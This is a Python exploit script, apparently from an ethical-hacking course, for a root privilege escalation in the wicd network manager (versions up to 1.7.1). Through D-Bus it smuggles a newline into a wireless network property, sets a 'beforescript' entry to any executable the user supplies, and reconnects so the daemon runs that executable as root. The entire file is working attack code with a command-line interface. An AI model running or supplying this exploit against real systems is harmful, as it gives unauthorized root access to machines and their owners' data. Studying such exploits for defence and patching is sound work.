143 lines
No EOL
3.7 KiB
Python
Executable file
143 lines
No EOL
3.7 KiB
Python
Executable file
#!/usr/bin/python
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#wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student
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#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
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import sys
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import os
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import time
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import getopt
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try: from wicd import dbusmanager
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except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)
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class Error(Exception):
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def __init__(self, error):
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self.errorStr=error
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def __str__(self):
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return repr(self.errorStr)
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class Wicd():
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wireless=None
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daemon=None
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versionString=None
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def __init__(self):
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try:
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dbusmanager.connect_to_dbus()
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dbusInterfaces = dbusmanager.get_dbus_ifaces()
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self.wireless = dbusInterfaces["wireless"]
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self.daemon = dbusInterfaces["daemon"]
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except:
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raise Error("Daemon is not running")
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self.versionString = self.daemon.Hello()
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def versionLessThan(self, version):
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if int(self.versionString.replace(".",""))<=version:
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return True
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else:
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return False
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class Exploit():
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def __init__(self, wicd, scriptPath):
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self.wicd = wicd
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self.scriptPath = scriptPath
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def getNets(self):
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self.wicd.wireless.Scan(True)
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nets = self.wicd.wireless.GetNumberOfNetworks()
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while nets < 1:
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self.wicd.wireless.Scan(True)
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nets = self.wicd.wireless.GetNumberOfNetworks()
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for net in range(nets):
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yield net
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def exploit(self):
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for net in self.getNets(): pass # Priming scan.
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try:
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self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
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except:
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raise Error("Unable to exploit (SetWirelessProperty() failed.)")
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try:
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self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
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except:
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raise Error("Unable to exploit (SetWirelessProperty() failed.)")
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propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property
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vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)
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# TODO: Does this need a try construct?
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self.wicd.wireless.ReloadConfig()
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for net in self.getNets(): # Implicit, but required re-scan.
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if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
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self.wicd.wireless.ConnectWireless(net)
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return True
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raise Error("Unable to exploit (Lost the network we were using)")
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def usage():
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print "[!] Usage:"
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print " ( -h, --help ):"
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print " Print this message."
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print " ( --scriptPath= ): Required, executable to run as root."
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print " --scriptPath=/some/path/to/executable.sh"
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def main():
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print "[$] WICD =< 1.7.0Day"
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try:
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opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
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except getopt.GetoptError, err:
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# Print help information and exit:
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print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
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usage()
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sys.exit(0)
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scriptPath=None
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for opt, arg in opts:
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if opt in ("-h", "--help"):
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usage()
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sys.exit(0)
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elif opt =="--scriptPath":
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scriptPath=arg
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else:
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# I would be assuming to say we'll never get here.
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print "[!] Parameter error."
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usage()
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sys.exit(0)
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if not scriptPath:
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print "[!] Parameter error: scriptPath not set."
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usage()
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sys.exit(0)
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try:
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wicd = Wicd()
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except Error as error:
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print "[!] WICD Error: %s" % (error.errorStr)
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exit(0)
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print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)
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if not wicd.versionLessThan(171):
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print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."
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exploit = Exploit(wicd, scriptPath)
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print "[*] Attempting to exploit:"
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try:
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exploit.exploit()
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except Error as error:
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print "[!] Exploit Error: %s" % (error.errorStr)
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exit(0)
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print "[*] Exploit appears to have worked."
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# Standard boilerplate to call the main() function to begin
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# the program.
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if __name__=='__main__':
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main() |